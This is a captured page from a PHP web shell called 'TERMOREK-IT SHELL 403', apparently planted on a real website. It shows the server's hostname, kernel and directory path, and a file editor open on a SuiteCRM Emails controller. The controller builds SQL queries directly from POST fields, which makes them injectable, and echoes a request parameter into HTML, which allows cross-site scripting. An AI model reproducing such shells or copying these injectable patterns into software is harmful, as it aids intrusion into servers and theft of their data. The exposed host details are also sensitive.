TERMOREK-IT SHELL 403

PHP Version : 8.0.30
[+] Buat File
[+] Buat Directory

[+] Uname : Linux server.indoor-architecture.co.uk 4.18.0 #1 SMP Tue Aug 6 23:31:38 MSK 2024 x86_64

[+] Path Dir: ~/home/indoora7/www/suitecrm/custom/modules/Emails/

Edit file

File name : controller.php

Content :

<?php

require_once('include/MVC/Controller/SugarController.php');

class EmailsController extends SugarController {

function action_addTag() {
        global $db;
        $tagname = $_POST['tagname'];
        $tagid = create_guid();
        $insertQuery = "INSERT INTO tag(id,name) VALUES('{$tagid}','{$tagname}')";
        $id = $db->query($insertQuery);
        if (isset($id) && $id != '') {
            echo $id;
        }
        exit;
    }

function action_displayTag() {
         global $db,$sugar_config;
         $selectQuery = "SELECT * FROM tag ORDER BY name";
         $tag_result = $db->query($selectQuery);
         $html = '';
         while($tag_row = $db->FetchByAssoc($tag_result)){
             $html .= "<tr><td>{$tag_row['name']}</td>
                        <td> <a title='Delete tag' onclick='deleteTag(\"{$tag_row['id']}\",{$_REQUEST['idx']});'><img src='{$sugar_config['site_url']}/custom/include/cannned_response_img/delete.png' /></a></td>
                       </tr>";
         }
         if($tag_result->num_rows == 0){
             $html = "No Tag added.";
         }
         echo $html ."||" .$_REQUEST['idx'];
         exit;
    }
    
    function action_deleteTag(){
        global $db;
        $tagid = $_POST['tagid'];
        $deleteQuery = "DELETE FROM tag WHERE id='{$tagid}'";
        $deleted = $db->query($deleteQuery);
        $deleteRelationshipQuery = "DELETE FROM email_template_tag WHERE tag_id = '{$tagid}'";
        $db->query($deleteRelationshipQuery);
        if($deleted){
            echo $deleted;
        }
        exit;
    }
    
    function action_getTagList(){
         global $db;
         $selectQuery = "SELECT * FROM tag ORDER BY name";
         $tag_result = $db->query($selectQuery);
         $html = '<option value="0">--Select tag--</option>';
        // $html = '';
         while($tag_row = $db->FetchByAssoc($tag_result)){
             $html .= "<option value='{$tag_row['id']}'>{$tag_row['name']}</option>";
         }
         echo $html;
         exit;
    }
    
    function action_getEmailTemplate(){
        global $db;
        $tag_id = $_POST['tagids'];
        $getTemplate_Query = "SELECT
                                email_templates.name,
                                email_templates.id FROM email_templates";
        if(isset($tag_id) && $tag_id != '0' && $tag_id != 'null'){
            $getTemplate_Query .= " JOIN email_template_tag
                                  ON email_template_tag.email_template_id = email_templates.id
                              WHERE email_templates.deleted = 0 AND email_template_tag.tag_id = '{$tag_id}'";
        }else{
             $getTemplate_Query .= " WHERE email_templates.deleted = 0";
        }
                                  
         $template_result = $db->query($getTemplate_Query);
         $html = '<option value="">-none-</option>';
         while($template_row = $db->FetchByAssoc($template_result)){
              $html .= "<option value='{$template_row['id']}'>{$template_row['name']}</option>";
         }
        echo $html;
        exit;
    }

}

Copyright © 2021 - Code By UnitedCyberTeam